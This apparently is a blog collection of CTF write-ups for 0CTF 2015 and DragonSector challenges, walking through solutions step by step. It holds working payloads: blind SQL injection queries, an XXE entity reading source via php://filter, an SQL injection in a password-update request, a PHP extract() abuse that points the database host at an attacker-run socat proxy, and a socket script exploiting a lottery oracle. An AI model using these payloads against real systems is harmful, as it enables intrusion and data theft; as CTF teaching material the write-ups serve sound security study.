0CTF 2015 - Golden Mac 2 (web 300)

While playing Golden Mac 1 I found the ./bash_history for user salt that looked like:

whoami  
pwd  
ls  
sudo nmap -sS 202.112.26.1/24 -p 22,80,3306  
curl http://202.112.26.103/secret_blog/?id=1  
msfconsole  
curl https://twitter.com/_SaxX_/status/580376290525650944  
python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"<br />  
shit!  
exit  

While the SaxX tweet was funny, the secret_blog looked promising. The IP was not accessible from the outside but we could leverage our XXE injection into a SSRF vulnerability and visit the blog. Using the XXE injection in the docx document, you can visit http://202.112.26.103/secret_blog/?id=1 and get You do not have permission to access this post!
Other interesting results were:

http://202.112.26.103/secret_blog/?id=1  
You do not have permission to access this post!

http://202.112.26.103/secret_blog/?id=0  
Please specify an id :)

http://202.112.26.103/secret_blog/?id=2  
You do not have permission to access this post!

http://202.112.26.103/secret_blog/?id=3  
Post not exists!  

Also:

http://202.112.26.103/secret_blog/?id=1 order by 1  
You do not have permission to access this post!  

Cool! so it seems it is vulnerable to blind SQL injection.

Further steps:

http://202.112.26.103/secret_blog/?id=1 or id=(select 1)  
You do not have permission to access this post!

http://202.112.26.103/secret_blog/?id=1 or id=(select notexisting from nowhere)  
500 Internal error

http://202.112.26.103/secret_blog/?id=1 or id=(select flag from flag)  
You do not have permission to access this post!  
YAY!!  

At this point it was a matter of running a blind sql injection attack to extract the flag.

True statements:

http://202.112.26.103/secret_blog/?id=1 and true  
You do not have permission to access this post!  

False statements:

http://202.112.26.103/secret_blog/?id=1 and false  
Post not exists!  

We get the flag using binary search with regular expressions like:

http://202.112.26.103/secret_blog/?id=1 and ((select flag from flag) regexp binary '^%s' = 1)  

FLAG: 0ctf{you_good_pentester_finally_find_me}

0CTF 2015 - X-Y-Z (misc 300)

We are given thousands of 3D coordinates in a text file:

-4.751373,-2.622809,2.428588;-4.435134,-3.046589,2.406030;-4.788052,-2.661979,2.464709
-4.692748,-2.599611,2.629112;-4.656070,-2.560445,2.592991;-4.788052,-2.661979,2.464709
-4.692748,-2.599611,2.629112;-4.788052,-2.661979,2.464709;-4.435134,-3.046589,2.406030
-4.656070,-2.560445,2.592991;-4.516017,-2.714652,2.570303;-4.751373,-2.622809,2.428588
-4.656070,-2.560445,2.592991;-4.751373,-2.622809,2.428588;-4.788052,-2.661979,2.464709
-4.611258,-2.777269,2.405960;-4.435134,-3.046589,2.406030;-4.751373,-2.622809,2.428588
-4.572725,-2.644557,2.333280;-4.603014,-2.680354,2.364417;-4.592222,-2.663824,2.351891
-4.571442,-2.773632,2.381504;-4.564917,-2.826000,2.397583;-4.611258,-2.777269,2.405960
-4.571436,-2.742115,2.369542;-4.571442,-2.773632,2.381504;-4.611258,-2.777269,2.405960
-4.571436,-2.742115,2.369542;-4.611258,-2.777269,2.405960;-4.567214,-2.723559,2.360054
-4.567214,-2.723559,2.360054;-4.611258,-2.777269,2.405960;-4.560604,-2.711404,2.351613
-4.564917,-2.826000,2.397583;-4.435134,-3.046589,2.406030;-4.611258,-2.777269,2.405960
-4.560604,-2.711404,2.351613;-4.611258,-2.777269,2.405960;-4.614635,-2.748184,2.396883
...
...

If we represent them with matplotlib using somrthing like:

from matplotlib import pyplot  
import pylab  
from mpl_toolkits.mplot3d import Axes3D

x_vals = []  
y_vals = []  
z_vals = []

data = open("x-y-z", "r").readlines()  
i = 0  
for line in data:  
    points = line.split(";")
    for point in points:
        point = point.replace("\r\n","").split(",")
        i += 1
        x = float(point[0])
        y = float(point[1])
        z = float(point[2])
        if i % 1 == 0:
            if (y//x) < 1.1 and (y//x) < 0.9:
                x_vals.append(x)
                y_vals.append(y)
                z_vals.append(z)

print len(x_vals)  
fig = pylab.figure()  
ax = Axes3D(fig)  
ax.scatter(x_vals, y_vals, z_vals, zdir=u'z', s=1, c=u'blue', depthshade=False)  
pyplot.show()  

We get a nice 3D flag that we need to rotate, zoom and waste our eyes to finally get the flag.

FLAG: 0ctf{0ur_Flag_L00ks_Great_in_Three_D} (Thanks Mathias)

0CTF 2015 - Golden Mac 1 (web 300)

Home In the description and task title, it states that the developer uses a Mac Book Pro. So we looked for the .DS_Store in the application root directory and found one whose contents we can read with this simple python script:

from ds_store import DSStore  
with DSStore.open('DS_Store', 'r+') as d:  
    for i in d:
        print i

Output:

<index.php Iloc>  
<parse.class.php Iloc>  
<u_can_not_guess_this_haha.php Iloc>  

It seems the flag is in u_can_not_guess_this_haha.php but the page renders an empty page. Probably flag is in the code.

The site lets us upload an image and a document. There is no control of the file type nor the extension for the image so we can upload any file to /uploads but that doesnt turn out to be very useful.

We can also upload profile descriptions in docx format which is basically a bunch of XML docs zipped. It turns out the application process the XML files without disabling external entities and so its vulnerable to XXE. We prepared a specially crafted docx document to retrieve the u_can_not_guess_this_haha.php file in base64 format (so we have no problems with <> characters:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>  
<!DOCTYPE document [<!ENTITY xxx SYSTEM "php://filter/read=convert.base64-encode/resource=u_can_not_guess_this_haha.php">]>  
<w:document> ... </w:document>  

Output:

PD9waHAgLy9mbGFnIDBjdGZ7eTB1X2ZpbmRfbTNfQmFkX2d1WX0=<br />  

FLAG is: 0ctf{y0u_find_m3_Bad_guY}

0CTF 2015 - Lily (web 200)

A simple web where we can register and login in. Once logged in, we can change our password.
The home page shows a message from Tales from two cities and the email we used for log in.

There is a SQL injection affecting the UPDATE statement sent with the Modify password feature. The idea is to modify the statement to change also the email (that we can read in the home page):

POST /modify HTTP/1.1  
Host: 202.112.26.104:5000  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0) Gecko/20100101 Firefox/36.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,es-ES;q=0.8,es;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://202.112.26.104:5000/modify  
Cookie: session=.eJyrVopPy0kszkgtVrKKrlZSKIFQSUpWSknhYVXJRm55UYG2tkq1OlDR8HBLQ0-PlJzk3ND0JHfLvCijsGxPd0vDFEeQqliwOjINySkFGRCro5STn56emhKfmadkVVJUmqqjVFqcWpSXmJsK1FpQnpdaZGigVAsAq0Q6FQ.B_iyaw.haWh_kdtJXPqgs1n__YSVID6vlY  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 65

password=0ewr1pn',email=(SELECT flag from flag),password='0ewr1pn  

Flag

FLAG is 0CTF{R0t_?_S8rRy_1_doNt_N}

0CTF 2015 - Forward (web 250)

We are given access to a page and its source code:

<?php  
    if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
    }
    include("./inc.php"); // key & database config
    function err($str){ die("<script>alert(\"$str\");window.location.href='./';</script>"); }
    $nonce = mt_rand();
    extract($_GET); // this is my backdoor :)
    if (empty($_POST['key'])) {
        err("Parameter Missing!");
    }
    if ($_POST['key'] !== $key) {
        err("You Are Not Authorized!");
    }
    $conn = mysql_connect($host, $user, $pass);
    if (!$conn) {
        err("Database Error, Please Contact with GameMaster!");
    }
    $query = isset($_POST['query']) ? bin2hex($_POST['query']) : "SELECT flag FROM forward.flag";
    $res = mysql_query($query);
    if (FALSE == $res) {
        err("Database Error, Please Contact with GameMaster!");
    }
    $row = mysql_fetch_array($res);
    if ($debug) {
        echo "HOST:\t{$host}<br/>";
        echo "USER:\t{$user}<br/>";
    }
    echo "<del>FLAG:\t0ctf{</del>" . sha1($nonce . md5($row['flag'])) . "<del>}</del><br/>"; // not real flag
    mysql_close($conn);

?>

We can inject any variable because of the extract($_GET); as long as it is not later overwritten. Thats usefule to bypass the key check and to get the host name and user using the debug mode:

Request:

POST /admin.php?key=NOKEY&debug=1 HTTP/1.1  
Host: 202.112.28.121  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0) Gecko/20100101 Firefox/36.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,es-ES;q=0.8,es;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://202.112.28.121/  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 9

key=NOKEY  

Response:

HTTP/1.1 200 OK  
Date: Sun, 29 Mar 2015 22:57:20 GMT  
Server: Apache/2.4.7 (Ubuntu)  
X-Powered-By: PHP/5.5.9-1ubuntu4.7  
Vary: Accept-Encoding  
Content-Length: 123  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html

HOST:    162.243.129.228<br/>USER:   forward<br/><del>FLAG:  0ctf{</del>cd8b8ddac686f4ead123786fead8f9476e975b17<del>}</del><br/>  

We can check that the server is allowing mysql connections on default port (3306) so what we can do is set up a proxy in our machine to receive the DB connection and forward it to the real DB server. We use socat for that:

[email protected]:~# socat -v TCP-LISTEN:3306 TCP:202.112.28.121:3306  

Now, we can force the connection to go through our server and watch the traffic (query results == flag) going through the proxy:

POST /admin.php?key=NOKEY&debug=1&nonce=&host=xxx.yyy.zzz.www HTTP/1.1  

Intercepted traffic:

[email protected]:~# socat -v TCP-LISTEN:3306 TCP:202.112.28.121:3306  
< 2015/03/29 22:57:33.303951  length=95 from=0 to=94  
[...
5.5.41-0ubuntu0.14.04.1.fo\v.\\2%bA]0t...\b...............z)Zi"hgL)''-.mysql_native_password.> 2015/03/29 22:57:33.527793  length=87 from=0 to=86  
S..........@\b.......................forward......U..l.._....X....mysql_native_password.< 2015/03/29 22:57:33.739001  length=11 from=95 to=105  
\a..........> 2015/03/29 22:57:33.963015  length=7 from=87 to=93
.......< 2015/03/29 22:57:34.174384  length=9 from=106 to=114
.........> 2015/03/29 22:57:34.398563  length=34 from=94 to=127
.....SELECT flag FROM forward.flag< 2015/03/29 22:57:34.610552  length=96 from=115 to=210
.....-....def\aforward.flag.flag.flag.flag\f\b.0................"......0ctf{w3ll_d0ne_guY}.......".> 2015/03/29 22:57:34.834863  length=5 from=128 to=132
.....[email protected]:~#

FLAG is 0ctf{w3ll_d0ne_guY}

DragonSector Crypto 100

In this task we have to win a lottery game:

Basically each coupon costs $5 and we have $100 to spend. If we try to withdraw our money we get the amount of money we need to get our flag:

To show they are playing fairly, the give you a verification id that its the value you have to guess concatenated with a random salt to reach the AES 16 bytes block that is used to encrypt the string. So we get:

AES(<number to guess>#random_salt, ECB_MODE)

We are also given the source code where we can verify this:

from Crypto.Cipher import AES  
from Crypto import Random  
from datetime import datetime  
import random  
import os  
import time  
import sys

flag = open('flag.txt').read()

# config
start_money = 100  
cost = 5     # coupon price  
reward = 100 # reward for winning  
maxNumber = 1000 # we're drawing from 1 to maxNumber  
screenWidth = 79

intro = [  
    '',
    'Welcome to our Lotto!',
    'Bid for $%d, win $%d!' % (cost, reward),
    'Our system is provably fair:',
    '   Before each bid you\'ll receive encrypted result',
    '   After the whole game we will reveal the key to you',
    '   Then, you can decrypt results and verify that we haven\'t cheated on you!',
    '    (e.g. by drawing based on your input)',
    ''
    ]

# expand to AES block with random numeric salt
def randomExtend(block):  
    limit = 10**(16-len(block))
    # salt
    rnd = random.randrange(0, limit)
    # mix it even more
    rnd = (rnd ** random.randrange(10, 100)) % limit
    # append it to the block
    return block + ('%0'+str(16-len(block))+'x')%rnd

def play():  
    # print intro
    print '#' * screenWidth
    for line in intro:
        print  ('# %-' + str(screenWidth-4) + 's #') % line
    print '#' * screenWidth
    print ''

    # prepare everything
    money = start_money

    key = Random.new().read(16) # slow, but secure
    aes = AES.new(key, AES.MODE_ECB)

    # main loop
    quit = False
    while money > 0:
        luckyNumber = random.randrange(maxNumber + 1) # fast random should be enough
        salted = str(luckyNumber) + '#'
        salted = randomExtend(salted)

        print 'Your money: $%d' % money
        print 'Round verification: %s' % aes.encrypt(salted).encode('hex')
        print ''
        print 'Your choice:'
        print '\t1. Buy a coupon for $%d' % cost
        print '\t2. Withdraw your money'
        print '\t3. Quit'

        # read user input
        while True:
            input = raw_input().strip()
            if input == '1':
                # play!
                money -= cost
                sys.stdout.write('Your guess (0-%d): ' % maxNumber)
                guess = int(raw_input().strip())
                if guess == luckyNumber:
                    print 'You won $%d!' % reward
                    money += reward
                else:
                    print 'You lost!'
                break
            elif input == '2':
                # withdraw
                if money > 1337:
                    print 'You won! Here\'s your reward:', flag
                else:
                    print 'You cannot withdraw your money until you get $1337!'
                break
            elif input == '3':
                quit = True
                break
            else:
                print 'Unknown command!'

        print 'The lucky number was: %d' % luckyNumber
        if quit:
            break
        print '[enter] to continue...'
        raw_input()

    print 'Verification key:', key.encode('hex')
    if money <= 0:
        print 'You\'ve lost all your money! get out!'

if __name__ == '__main__':  
    play()

The problem is that we cannot break AES, so we have to outsmart the system in a different way. There are two factors here that can help us with that:

First, the random salt appended to the value to guess is supposed to prevent us from creating a dictionary from Encrypted values to decrypted ones. Since the same value to guess will have many encrypted representations because of the salt appended. So here is the first mistake of the developers. The salt appended to the value to guess is not that random and turns out to be 000000000 many times because of the way the salt is calculated:

# expand to AES block with random numeric salt
def randomExtend(block):  
    limit = 10**(16-len(block))
    # salt
    rnd = random.randrange(0, limit)
    # mix it even more
    rnd = (rnd ** random.randrange(10, 100)) % limit
    # append it to the block
    return block + ('%0'+str(16-len(block))+'x')%rnd

Gynvael explained after the CTF was over than the reason for this was that:

Any number with a 0 as the last digit (i.e. 10% of numbers) rised to a high power will have all 000000000 at end and it gets truncated to % limit characters basically

The second factor is to find the way to play for free and I already showed you how to do it in the second screenshot. For each round we are presented with a verification value and after we choose an option, the value chosen is presented so we can verify that they were not cheating (although they dont give you the key so they could be cheating :D). Anyway, the second option, the one that lets us withdraw money works in the same way and so we can use it to know the number associated to an encrypted value.

So with that, we should be able to play and if we dont know the value associated to the encrypted value presented, we can ask for the withdraw process to get the lucky number associated to the crypto value and add them to a Encrypted-number map. If the encrypted value presented is in our map, then we can bet and win $100. Repeating the process can get us more than $1337 in less than 20 minutes

import socket

def read_until(s, text):  
  buffer = ""
  while text not in buffer:
    buffer = buffer + s.recv(1)
  return buffer

host = "23.253.207.179"  
port = 10001  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, port))


def play_round(mydict):  
    store = False
    read_until(s,"Your money: $")
    money = int(read_until(s,"\n")[:-1])
    read_until(s,"Round verification: ")
    encrypted = read_until(s,"\n")[:-1]
    if encrypted in mydict:
        guess = mydict[encrypted]
    else:
        guess = None
        store = True
    menu = read_until(s,"Quit\n")
    if guess is not None:
        # Bet
        s.send("1\n")
        read_until(s,"0-1000): ")
        try:
            guess = int(guess)
        except:
            guess = 1
        s.send("{0}\n".format(guess))
    else:
        # Pass
        s.send("2\n")
    response = read_until(s,"The lucky number was: ")
    num = read_until(s,"\n")[:-1]
    if store:
        mydict[encrypted] = num
    if "won" in response:
        print "win, money %d" % money
        print "Guess %s Verification %s LuckyNum %s" % (str(guess), encrypted, num,)
        if money > 1337:
            print money
            num = read_until(s,"\n")[:-1]
            print num
            s.send("\n")
            print read_until(s,"Quit\n")
            s.send("2\n")
            print read_until(s,"\n")
            print read_until(s,"\n")
            print read_until(s,"\n")
            exit()
    if "lost" in response:
        print "WTF"
        exit()

    num = read_until(s,"\n")[:-1]
    s.send("\n")

mydict = {}  
while True:  
    play_round(mydict)

The result: